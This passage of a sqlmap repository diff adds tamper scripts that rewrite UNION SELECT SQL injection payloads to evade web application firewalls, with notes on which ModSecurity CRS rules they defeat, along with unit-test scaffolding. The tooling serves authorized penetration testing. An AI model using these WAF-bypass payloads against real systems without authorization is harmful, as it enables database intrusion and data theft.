    + + Requirement: + * MySQL >= 8.0.19 + + Tested against: + * MySQL 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + + Notes: + * Useful to bypass web application firewalls, as the resulting payload contains neither + the SELECT nor the FROM keyword. Verified against ModSecurity v3 with the OWASP CRS + (paranoia level 1, blocking mode), where the plain counterpart scores 20 anomaly + points and is blocked, while the rewritten payload drops to 5 (rule 942360 alone, + see below) or to 0 when chained with tamper script 'odbcbrace' + * The rule doing most of the work there is 942270 '(?i)union.*?select.*?from', which + needs all three keywords in that order. TABLE
    is a complete query block on + its own (sql_yacc.yy query_primary has exactly three alternatives: SELECT, VALUES and + TABLE), so the branch carries none of them + * Also rated benign by libinjection 4.0.0, which is CRS rule 942100 + * TABLE
    is strictly defined as SELECT * FROM
    , hence only a bare '*' + column list is rewritten. Payloads carrying an explicit column list are deliberately + left untouched, as TABLE can neither project columns nor carry the concatenated + delimiters used for retrieving the query output + * Trailing ORDER BY and LIMIT clauses are supported by TABLE and are kept as they are, + while a WHERE clause is not, hence such payloads are deliberately left untouched + * Both the UNION branch form and the parenthesized subquery form are rewritten + * On its own the rewritten payload still trips CRS rule 942360 + '^[\\W\\d]+\\s*?' when it starts with a bare number. Chaining it with + tamper script 'odbcbrace' clears that too: --tamper=uniontable,odbcbrace + * MariaDB does not implement the TABLE statement at all + + >>> tamper('-1 UNION ALL SELECT * FROM users-- -') + '-1 UNION ALL TABLE users-- -' + >>> tamper('-1 UNION SELECT * FROM `mysql`.`user`#') + '-1 UNION TABLE `mysql`.`user`#' + >>> tamper('-1 UNION ALL SELECT * FROM users ORDER BY 1 LIMIT 1-- -') + '-1 UNION ALL TABLE users ORDER BY 1 LIMIT 1-- -' + >>> tamper('-1 AND (SELECT * FROM one)=0x41-- -') + '-1 AND (TABLE one)=0x41-- -' + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -') + '-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -' + >>> tamper('-1 UNION SELECT * FROM users WHERE id=1-- -') + '-1 UNION SELECT * FROM users WHERE id=1-- -' + """ + + def _union(match): + tail = (match.group("tail") or "").strip() + + if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail): + return match.group(0) + + return "%s%s TABLE %s%s" % (match.group("union"), match.group("all") or "", match.group("table"), (" %s" % tail) if tail else "") + + def _subquery(match): + tail = (match.group("tail") or "").strip() + + if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail): + return match.group(0) + + return "(TABLE %s%s)" % (match.group("table"), (" %s" % tail) if tail else "") + + retVal = payload + + if retVal: + retVal = re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+\*\s+FROM\s+(?P
    `[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P[\s\S]*?)(?=(?:--|#|/\*)|\Z)", _union, retVal) + retVal = re.sub(r"(?i)\(\s*SELECT\s+\*\s+FROM\s+(?P
    `[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P[^()]*?)\s*\)", _subquery, retVal) + + return retVal diff --git a/tamper/unionvalues.py b/tamper/unionvalues.py new file mode 100644 index 00000000000..29606f37534 --- /dev/null +++ b/tamper/unionvalues.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT with the standard SQL table value constructor UNION VALUES () + + Requirement: + * MariaDB + * PostgreSQL + * SQLite + * CockroachDB + * CrateDB + * Presto + + Tested against: + * MariaDB 10.11.14, 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * CockroachDB, CrateDB, Trino + + Notes: + * Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the + resulting payload carries no SELECT token at all + * MySQL requires the row constructor to be spelled 'VALUES ROW(...)' and rejects this form + (see tamper script 'unionvaluesrow'), while Oracle and Microsoft SQL Server have no + standalone VALUES query at all + * A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those + produced by --union-from) are deliberately left untouched + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '-1 UNION ALL VALUES (NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -' + >>> tamper('-1 UNION SELECT 45,45#') + '-1 UNION VALUES (45,45)#' + >>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -') + '-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -' + """ + + def _(match): + columns = match.group("columns").rstrip() + + if re.search(r"(?i)\bFROM\b", columns): + return match.group(0) + + return "%s%s VALUES (%s)" % (match.group("union"), match.group("all") or "", columns) + + return re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+(?P.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload diff --git a/tamper/unionvaluesrow.py b/tamper/unionvaluesrow.py new file mode 100644 index 00000000000..6c7e1656561 --- /dev/null +++ b/tamper/unionvaluesrow.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT with the (MySQL) table value constructor UNION VALUES ROW() + + Requirement: + * MySQL >= 8.0.19 + + Tested against: + * MySQL 8.0.46, 8.4.9 + + Notes: + * Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the + resulting payload carries no SELECT token at all + * MySQL mandates the ROW keyword here, while MariaDB and the other engines supporting a + standalone VALUES query reject it (see tamper script 'unionvalues') + * A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those + produced by --union-from) are deliberately left untouched + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '-1 UNION ALL VALUES ROW(NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -' + >>> tamper('-1 UNION SELECT 45,45#') + '-1 UNION VALUES ROW(45,45)#' + >>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -') + '-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -' + """ + + def _(match): + columns = match.group("columns").rstrip() + + if re.search(r"(?i)\bFROM\b", columns): + return match.group(0) + + return "%s%s VALUES ROW(%s)" % (match.group("union"), match.group("all") or "", columns) + + return re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+(?P.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 81774a99968..ea4e6ee45c3 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -20,15 +20,17 @@ def tamper(payload, **kwargs): Replaces each keyword character with upper case value (e.g. select -> SELECT) Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions - * This tamper script should work against all (?) databases + * Keyword case is insignificant on every engine listed above >>> tamper('insert') 'INSERT' diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 7ab70933198..3ee8e1aca73 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -46,7 +46,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index aea7d50e598..e53d0235ac8 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -47,7 +47,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/tests/_testutils.py b/tests/_testutils.py new file mode 100644 index 00000000000..257afca08e8 --- /dev/null +++ b/tests/_testutils.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared bootstrap for the sqlmap unit/regression test suite. + +Brings sqlmap's global state (conf/kb, the 'reversible' codec, cross-references, +option defaults) up far enough that pure/near-pure library functions can be +exercised in isolation - WITHOUT a live target, network, or DBMS. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import warnings + +# Quieten import-time noise before any sqlmap/3rd-party module is imported by bootstrap(): +# e.g. cryptography's "Python 2 is no longer supported" CryptographyDeprecationWarning via pymysql. +warnings.filterwarnings("ignore", message=".*Python 2 is no longer supported.*") +warnings.filterwarnings("ignore", category=DeprecationWarning) +# sqlmap reconfigures stdout at startup; py3 emits a benign RuntimeWarning about line buffering +warnings.filterwarnings("ignore", message=".*line buffering.*binary mode.*") + +_BOOTSTRAPPED = False +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + +def bootstrap(): + """Idempotently initialize sqlmap global state for testing.""" + global _BOOTSTRAPPED + if _BOOTSTRAPPED: + return + + if ROOT not in sys.path: + sys.path.insert(0, ROOT) + # a dummy target so cmdLineParser() populates ALL option defaults without erroring; + # save/restore the real argv so the unittest runner isn't confused by it + _orig_argv = list(sys.argv) + sys.argv = ["sqlmap.py", "-u", "http://test.invalid/?id=1"] + + from lib.core.common import setPaths + from lib.core.patch import dirtyPatches, resolveCrossReferences + setPaths(ROOT) + dirtyPatches() # registers the 'reversible' codec error handler, etc. + resolveCrossReferences() + + from lib.core.option import _setConfAttributes, _setKnowledgeBaseAttributes, _loadQueries + _setConfAttributes() + _setKnowledgeBaseAttributes() + _loadQueries() # populate the `queries` dict from queries.xml (needed by dialect builders) + + from lib.core.data import conf, kb + from lib.core.defaults import defaults + from lib.parse.cmdline import cmdLineParser + + args = cmdLineParser() + parsed = args.__dict__ if hasattr(args, "__dict__") else dict(args) + for k, v in parsed.items(): + conf[k] = v + # overlay canonical defaults for options left None (sqlmap does this during init) + for k, v in defaults.items(): + if conf.get(k) is None: + conf[k] = v + + kb.binaryField = False # normally set lazily during extraction + + # Silence sqlmap's application logger - tests assert on results, not log output, and the + # INFO/WARNING/ERROR chatter (column counts, reflective-value notices, an intentionally + # malformed-deflate error, etc.) just clutters the unittest report. + import logging + logging.getLogger("sqlmapLog").setLevel(logging.CRITICAL + 1) + + # Some console output bypasses the logger entirely and goes straight through dataToStdout(): + # the \r-progress lines ("[INFO] retrieved: ...", "[INFO] cracked password ..."), and the echo + # of batch-auto-answered readInput() prompts (the fingerprint-mismatch prompt, the LIKE/exact + # and common-wordlist choices, ...). dataToStdout() only writes forced output or when + # kb.wizardMode is False, and readInput() echoes with forceOutput=not kb.wizardMode - so setting + # wizardMode keeps the unittest report to just dots. wizardMode is read ONLY by dataToStdout/ + # readInput (plus the interactive wizard flow, unused here), so this has no effect on results. + kb.wizardMode = True + + sys.argv = _orig_argv # restore so unittest's arg parsing works + _BOOTSTRAPPED = True + + +def set_dbms(name): + """Force the identified back-end DBMS for dialect-dependent functions. + + Uses forceDbms (not setDbms) so switching DBMS repeatedly in one process does + not trigger the interactive fingerprint-mismatch prompt. + """ + from lib.core.common import Backend + from lib.core.data import kb + kb.stickyDBMS = False + Backend.forceDbms(name) + + +def reset_dbms(): + """Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state. + + A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a + module that forces one without clearing it would leak that back-end into later test modules + (order-dependent flakiness). Modules that call set_dbms() should expose this as their + `tearDownModule` so the leak can never cross a module boundary. + """ + from lib.core.common import Backend + from lib.core.data import kb + from lib.core.settings import UNKNOWN_DBMS_VERSION + Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False + kb.resolutionDbms = None + kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] + + +# --- patching shared singletons (agent, unescaper, ...) --- + +_MISSING = object() + + +def save_attrs(obj, *names): + """Snapshot attributes of a shared singleton so tearDown can restore them EXACTLY. + + agent.payload and friends are methods on the CLASS: patching one sets an *instance* attribute + that shadows it, and restoring by assignment leaves that instance attribute behind holding a + bound method. Harmless on its own - but invisible state, and a later module whose cleanup keys + on "did this attribute exist before me?" then reads True, skips its own del, and leaks its stub + into every module that follows (test_techniques + test_checks did exactly that to + test_union_engine, whose real payloads silently became the string "PAYLOAD"). + + Pair with restore_attrs(); it deletes what was not there before and restores what was. + """ + + return [(obj, name, obj.__dict__.get(name, _MISSING)) for name in names] + + +def restore_attrs(saved): + """Undo save_attrs(), leaving obj.__dict__ exactly as it was found.""" + + for obj, name, value in saved: + if value is _MISSING: + obj.__dict__.pop(name, None) + else: + setattr(obj, name, value) + + +# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- + +_PROPERTY_BASE = 0x51A1 + + +class Rng(object): + """Deterministic, cross-version-identical PRNG (a pure-integer LCG, no global state). + + sqlmap runs on Python 2.7 and 3.x, whose stdlib `random` yield DIFFERENT sequences + for the same seed - and `random.Random` instance methods are not unified by + patch.unisonRandom() (which only patches the module-level random.choice/randint/ + sample/seed). Property tests need inputs that are byte-for-byte identical on every + interpreter so a CI-only failure reproduces everywhere; integer math is identical + across versions, so this LCG (same constants as unisonRandom) guarantees it by + construction. Draw ONLY through these methods - never random.random()/shuffle()/etc. + """ + + def __init__(self, seed): + self.x = seed & 0xFFFFFF + + def _next(self): + self.x = (1140671485 * self.x + 128201163) % (2 ** 24) + return self.x + + def randint(self, a, b): + return a + self._next() % (b - a + 1) + + def choice(self, seq): + return seq[self.randint(0, len(seq) - 1)] + + def sample(self, seq, k): + # Note: with replacement (matches unisonRandom's _sample); fine for input generation + return [self.choice(seq) for _ in range(k)] + + def blob(self, n): + return bytes(bytearray(self.randint(0, 255) for _ in range(n))) + + +def _label_offset(label): + # stable across versions/runs (unlike hash(), which varies with PYTHONHASHSEED): just sum bytes + return sum(bytearray((label or "").encode("utf-8"))) * 7919 + + +def for_all(testcase, generator, prop, n=400, label=""): + """Property runner: draw `n` cases from generator(rng) and assert prop(case) holds. + + `prop` passes by returning True/None, fails by returning False or raising. On any + failure the EXACT offending input and its case index are reported; the same input + is reproducible (and identical on every interpreter) via Rng(seed_for(label, i)). + """ + base = _PROPERTY_BASE + _label_offset(label) + for i in range(n): + case = generator(Rng(base + i)) + try: + ok = prop(case) + except Exception as ex: + testcase.fail("%s: raised %r on input %r (case %d)" % (label or "property", ex, case, i)) + return + if ok is False: + testcase.fail("%s: property does not hold on input %r (case %d)" % (label or "property", case, i)) + return diff --git a/tests/test_agent.py b/tests/test_agent.py new file mode 100644 index 00000000000..ed7463ba69d --- /dev/null +++ b/tests/test_agent.py @@ -0,0 +1,790 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Consolidated unit coverage for lib/core/agent.py. + +This file merges the agent.py tests previously spread across +test_agent.py, test_agent_dialects.py, test_core_more.py and +test_core_extra.py: + + * Payload assembly helpers (DBMS-independent string transforms that wrap, + fold and clean a payload on its way to the wire): prefix/suffix, payload + delimiters, field extraction, CONCAT folding, RAND-marker cleanup. + + * Cross-dialect exercise of the payload-assembly helpers. agent.py builds SQL + payloads from per-DBMS dialect templates (queries.xml); the helpers are pure + given the identified back-end DBMS, so driving each one across EVERY + supported dialect walks the dialect-specific branches (CAST forms, + concatenation operators, LIMIT/TOP/ROWNUM shapes, ...) without a live target. + + * Argument-combination / shape coverage for forgeUnionQuery, limitQuery, + whereQuery, getComment, concatQuery(unpack=False), cleanupPayload markers, + adjustLateValues, getFields shapes, prefix/suffix args, nullAndCastField + noCast, plus the pure agent helpers (extractPayload/replacePayload, ...). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import conf, kb, queries +from lib.core.enums import DBMS +from lib.core.settings import ( + PAYLOAD_DELIMITER, + SLEEP_TIME_MARKER, + BOUNDED_BASE64_MARKER, +) + +DIALECTS = sorted(queries.keys()) + +# --------------------------------------------------------------------------- # +# Per-dialect expectation maps (keyed by the DBMS display name == queries key). +# +# These were derived by inspecting the actual agent.py output for every dialect +# (the queries.xml templates drive the branches). They pin the *distinctive* +# dialect token so an assertion fails if the dialect branch collapses to the +# wrong form (e.g. concat operator swapped, null-wrapper dropped). +# --------------------------------------------------------------------------- # + +# concatQuery / simpleConcatenate join operator per dialect. +CONCAT_OPERATOR = { + "ClickHouse": "CONCAT(", + "Informix": "CONCAT(", + "MySQL": "CONCAT(", + "SAP MaxDB": "CONCAT(", + "Microsoft SQL Server": "+", + "Sybase": "+", + "Microsoft Access": "&", +} +# everything not listed above uses the SQL standard "||" +CONCAT_OPERATOR_DEFAULT = "||" + +# nullAndCastField / nullCastConcatFields NULL-wrapper function per dialect. +NULL_WRAPPER = { + "Altibase": "NVL", + "Apache Derby": "COALESCE", + "ClickHouse": "ifNull", + "CrateDB": "COALESCE", + "Cubrid": "IFNULL", + "Firebird": "COALESCE", + "FrontBase": "COALESCE", + "H2": "IFNULL", + "HSQLDB": "IFNULL", + "IBM DB2": "COALESCE", + "Informix": "NVL", + "InterSystems Cache": "COALESCE", + "Mckoi": "IF(", + "Microsoft Access": "IIF", + "Microsoft SQL Server": "ISNULL", + "MimerSQL": "COALESCE", + "MonetDB": "COALESCE", + "MySQL": "IFNULL", + "Oracle": "NVL", + "PostgreSQL": "COALESCE", + "Presto": "COALESCE", + "Raima Database Manager": "IFNULL", + "SAP HANA": "IFNULL", + "SAP MaxDB": "VALUE", + "SQLite": "COALESCE", + "Snowflake": "NVL", + "Spanner": "IFNULL", + "Sybase": "ISNULL", + "Vertica": "COALESCE", + "Virtuoso": "__MAX_NOTNULL", + "eXtremeDB": "IFNULL", +} + +# hexConvertField: dialects that DO have a hex function, mapped to its token. +HEX_FUNCTION = { + "Altibase": "HEX_ENCODE(", + "ClickHouse": "hex(", + "Cubrid": "HEX(", + "H2": "RAWTOHEX(", + "IBM DB2": "HEX(", + "Microsoft SQL Server": "fn_varbintohexstr", + "MySQL": "HEX(", + "Oracle": "RAWTOHEX(", + "PostgreSQL": "ENCODE(", + "Presto": "TO_HEX(", + "SAP HANA": "BINTOHEX(", + "SAP MaxDB": "HEX(", + "SQLite": "HEX(", + "Spanner": "TO_HEX(", + "Sybase": "BINTOSTR", + "Vertica": "TO_HEX(", +} +# dialects that intentionally do NOT support hex conversion and return the +# field unchanged (a no-op the old "colname in out" check silently masked). +HEX_NOOP = set(DIALECTS) - set(HEX_FUNCTION) + +# limitQuery: dialects whose limit template is empty so the call legitimately +# raises (no .limit.query). These are skipped by name in the limit-token test. +LIMIT_RAISES = {"Mckoi", "Raima Database Manager"} +# dialects with no special limitQuery branch: the query is returned unchanged +# (no limit token is emitted). +LIMIT_PASSTHROUGH = {"Informix", "Microsoft Access", "SAP MaxDB"} +# broad set of dialect limit tokens; every running, non-passthrough dialect +# emits at least one of these. +LIMIT_TOKENS = ("LIMIT", "TOP", "ROWNUM", "FETCH", "ROWS", "OFFSET", "ROW_NUMBER") + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +# --------------------------------------------------------------------------- # +# Single-DBMS payload-assembly helpers (formerly test_agent.py) +# --------------------------------------------------------------------------- # + +class TestPayloadDelimiters(unittest.TestCase): + def test_add(self): + self.assertEqual(agent.addPayloadDelimiters("1 AND 1=1"), + "%s1 AND 1=1%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER)) + + def test_remove(self): + wrapped = "%spayload%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER) + self.assertEqual(agent.removePayloadDelimiters(wrapped), "payload") + + def test_remove_none_is_none(self): + self.assertIsNone(agent.removePayloadDelimiters(None)) + + def test_roundtrip(self): + for p in ["1=1", "1 AND SLEEP(5)", "' OR '1'='1", "", "a%sb" % "x"]: + self.assertEqual(agent.removePayloadDelimiters(agent.addPayloadDelimiters(p)), p, + msg="delimiter round-trip for %r" % p) + + +class TestPrefixSuffix(unittest.TestCase): + def test_prefix_default_pads_space(self): + # with no configured prefix, a single leading space is prepended + self.assertEqual(agent.prefixQuery("1=1"), " 1=1") + + def test_suffix_default_identity(self): + self.assertEqual(agent.suffixQuery("1=1"), "1=1") + + +class TestGetFields(unittest.TestCase): + def test_extracts_select_list(self): + # getFields(query) returns an 8-tuple; the fields-bearing slots are: + # [0],[1] = regex match objects for the SELECT/expression (must be found, not None) + # [5] = parsed field list, [6] = raw fields string + # (asserting the match objects guards against a refactor that silently shifts the tuple) + result = agent.getFields("SELECT a,b FROM t") + self.assertIsNotNone(result[0], msg="getFields did not match the SELECT") + self.assertEqual(result[5], ["a", "b"]) + self.assertEqual(result[6], "a,b") + + +class TestConcatQuery(unittest.TestCase): + def test_mysql_concat_folding(self): + set_dbms(DBMS.MYSQL) + q = agent.concatQuery("SELECT a FROM t") + # folds the field through CONCAT with the start/stop delimiters and keeps the FROM + self.assertTrue(q.startswith("CONCAT("), msg=q) + self.assertIn("IFNULL(CAST(a AS NCHAR),' ')", q) + self.assertTrue(q.endswith("FROM t"), msg=q) + + +class TestCleanupPayload(unittest.TestCase): + def test_randnum_marker_replaced_with_digits(self): + out = agent.cleanupPayload("SELECT [RANDNUM]") + self.assertNotIn("[RANDNUM]", out, msg="marker not replaced: %r" % out) # actually substituted + self.assertTrue(out.startswith("SELECT "), msg=out) + self.assertTrue(out.split()[-1].isdigit(), msg=out) # ...and replaced with a concrete number + + +# --------------------------------------------------------------------------- # +# Cross-dialect smoke coverage (formerly test_agent_dialects.py) +# --------------------------------------------------------------------------- # + +class TestNullCastConcatFields(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullCastConcatFields("user,password") + self.assertIsInstance(out, str, msg=dbms) + # both column names survive the null/cast/concat rewrite + self.assertIn("user", out, msg=dbms) + self.assertIn("password", out, msg=dbms) + # the dialect-specific NULL-wrapper must be present (the column-name + # check above is always satisfied and so cannot catch a broken + # branch); this fails if the wrapper collapses to the wrong form. + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + def test_literal_passthrough(self): + for dbms in DIALECTS: + set_dbms(dbms) + # a bare quoted literal is returned untouched + self.assertEqual(agent.nullCastConcatFields("'abc'"), "'abc'", msg=dbms) + + +class TestNullAndCastField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullAndCastField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + # dialect-specific NULL wrapper (IFNULL/COALESCE/NVL/ISNULL/IIF/...) + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + +class TestHexConvertField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.hexConvertField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + if dbms in HEX_FUNCTION: + # the dialect's hex function wraps the field + self.assertIn(HEX_FUNCTION[dbms], out, msg="%s: %s" % (dbms, out)) + else: + # intentional no-op: the field is returned verbatim. The old + # "colname in out" check masked this; pin the exact identity. + self.assertEqual(out, "colname", msg="%s expected no-op: %s" % (dbms, out)) + + +class TestConcatQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.concatQuery("SELECT user FROM users") + self.assertIsInstance(out, str, msg=dbms) + # concatQuery output is dialect-specific: MySQL/ClickHouse/Informix/ + # SAP MaxDB use CONCAT(...), MSSQL/Sybase use +, Access uses &, and + # the rest use the SQL-standard ||. Assert the right operator so the + # test fails if the dialect collapses to the wrong concatenation. + expected = CONCAT_OPERATOR.get(dbms, CONCAT_OPERATOR_DEFAULT) + self.assertIn(expected, out, msg="%s: %s" % (dbms, out)) + + +class TestSimpleConcatenate(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.simpleConcatenate("a", "b") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("a", out, msg=dbms) + self.assertIn("b", out, msg=dbms) + + +class TestForgeUnionQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + count = 3 + out = agent.forgeUnionQuery("SELECT user FROM users", -1, count, None, + None, None, "NULL", None) + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("UNION", out.upper(), msg=dbms) + # position -1 with char NULL fills every one of the `count` columns + # with the char, so the NULL char must appear exactly `count` times. + # (a hardcoded "UNION in out" check could not catch a wrong column + # count.) Match NULL as a whole token to avoid matching substrings. + self.assertEqual(re.findall(r"\bNULL\b", out).__len__(), count, + msg="%s expected %d NULLs: %s" % (dbms, count, out)) + + +class TestLimitQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + + # Only Mckoi/Raima have an empty limit template and legitimately + # raise; skip exactly those by name rather than swallowing *any* + # exception (which would hide a real regression in another dialect). + if dbms in LIMIT_RAISES: + with self.assertRaises(Exception, msg=dbms): + agent.limitQuery(0, "SELECT user FROM users", "user") + continue + + out = agent.limitQuery(0, "SELECT user FROM users", "user") + self.assertIsInstance(out, str, msg=dbms) + + if dbms in LIMIT_PASSTHROUGH: + # these dialects have no dedicated limitQuery branch and return + # the query unchanged (documented no-op). + self.assertEqual(out, "SELECT user FROM users", msg=dbms) + else: + # every other running dialect emits a real limit construct + self.assertTrue(any(tok in out.upper() for tok in LIMIT_TOKENS), + msg="%s missing limit token: %s" % (dbms, out)) + + +class TestForgeCaseStatement(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.forgeCaseStatement("1=1") + self.assertIsInstance(out, str, msg=dbms) + # dialects vary on the conditional form (CASE / IIF / IF); the + # condition itself is always embedded + self.assertIn("1=1", out, msg=dbms) + # ...but the conditional construct itself must also be present, + # otherwise the "1=1" check alone could pass on a degenerate output. + self.assertTrue("CASE" in out or "IIF" in out or "IF(" in out, + msg="%s missing conditional construct: %s" % (dbms, out)) + + +class TestPrefixSuffixAcrossDialects(unittest.TestCase): + def test_prefix_suffix(self): + for dbms in DIALECTS: + set_dbms(dbms) + prefix = agent.prefixQuery("1=1") + suffix = agent.suffixQuery("1=1") + self.assertIsInstance(prefix, str, msg=dbms) + self.assertIsInstance(suffix, str, msg=dbms) + # prefixQuery pads a leading space ahead of the expression by default + self.assertEqual(prefix, " 1=1", msg="%s prefix: %r" % (dbms, prefix)) + # suffixQuery returns the expression itself (no extra clause/comment) + self.assertEqual(suffix, "1=1", msg="%s suffix: %r" % (dbms, suffix)) + + +class TestRunAsDBMSUserAndWhere(unittest.TestCase): + def test_run_as_user_noop_without_conf(self): + for dbms in DIALECTS: + set_dbms(dbms) + # without conf.dbmsCred the query is returned unchanged + self.assertEqual(agent.runAsDBMSUser("SELECT 1"), "SELECT 1", msg=dbms) + + +# --------------------------------------------------------------------------- # +# Argument-combination / shape coverage (formerly test_core_more.py) +# --------------------------------------------------------------------------- # + +class TestForgeUnionQuery(DbmsStateMixin, unittest.TestCase): + """forgeUnionQuery arg combinations not reached by the dialect smoke test.""" + + def test_limited_subselect_wraps_query(self): + set_dbms(DBMS.MYSQL) + # limited=True wraps the payload as (SELECT ...) at `position`, fills the + # rest with `char`, and appends the FROM/comment/suffix + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 1, 3, None, + None, None, "NULL", None, limited=True) + self.assertIn("(SELECT user FROM mysql.user)", out) + self.assertTrue(out.startswith(" UNION ALL SELECT NULL,(SELECT"), msg=out) + # position 1 of 3 => NULL,,NULL + self.assertEqual(out.count("NULL"), 2, msg=out) + + def 